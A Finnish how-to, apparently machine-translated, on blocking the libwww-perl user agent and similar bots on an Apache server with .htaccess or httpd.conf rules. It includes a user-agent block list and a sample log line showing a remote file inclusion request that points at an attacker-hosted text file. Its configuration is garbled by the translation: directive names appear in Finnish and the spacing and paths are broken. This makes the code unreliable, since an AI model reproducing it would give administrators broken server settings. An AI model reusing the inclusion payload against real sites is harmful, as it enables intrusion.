Libwww-perlin estäminen - Miten

Libwww-perlin estäminen

Tämä auttaa poistamaan kaistanleveyttä tietokeskuksessasi ja säästämään rahaa pitkällä aikavälillä. Tämä on melko yleinen verkkosivujen kaavintamenetelmä. Suosittelen tätä ratkaisua vain, jos huomaat paljon yhteyksiä useista yhteyksistä lyhyessä ajassa.

Vaihe 3 tulisi käyttää vain, jos nykyinen Apache-kokoonpano käyttää jo .htaccess-tiedostoja. Jos et ole, käytä vaihetta 4.

Tämä johtuu siitä, että .htaccessin käyttö aiheuttaa enemmän stressiä palvelimelle, koska Apache on lukenut .htaccessin jokaiselle tehdylle yhteydelle.

Näitä suosituksia käytetään tällä hetkellä tuotantoympäristössäni. Näitä ei ole asetettu kiven menetelmiin, koska jokainen ympäristö on erilainen. Nämä menetelmät ovat hyviä käynnistysvaiheita.

4 vaihetta yhteensä

Vaihe 1: Siirry Web-hakemistoon

cd / your / web / hakemisto

Vaihe 2: luo / muokkaa .htaccess-palvelua

Suosittelen suosikkisi tekstieditorin käyttöä (GUI tai tekstipohjainen)

Vaihe 3: Lisää sisältöä libwww-perlin estämiseksi sivustostasi

RewriteEngine On
RewriteBase /
RewriteCond% {HTTP_USER_AGENT} libwww-perl. *
RewriteRule. * - [F, L]

Vaihe 4: Estä libwww-perl httpd.conf- tai /conf.d-hakemistosta

SetEnvIfNoCase-käyttäjäagentti "^ Wget" bad_bot
SetEnvIfNoCase-käyttäjäagentti "^ EmailSiphon" bad_bot
SetEnvIfNoCase-käyttäjä-agentti "^ EmailWolf" bad_bot
SetEnvIfNoCase-käyttäjäagentti "^ libwww-perl" bad_bot

Tilaus sallii, kieltää
Salli kaikki
Estä env = bad_bot

Näin voit nähdä tämän rajoituksen apache-lokissa
x2.1xx.6x.2x0 www.domain.com - [23 / lokakuu / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com /list.txt? HTTP / 1.1 "200 72672" - "" libwww-perl / 5.76 "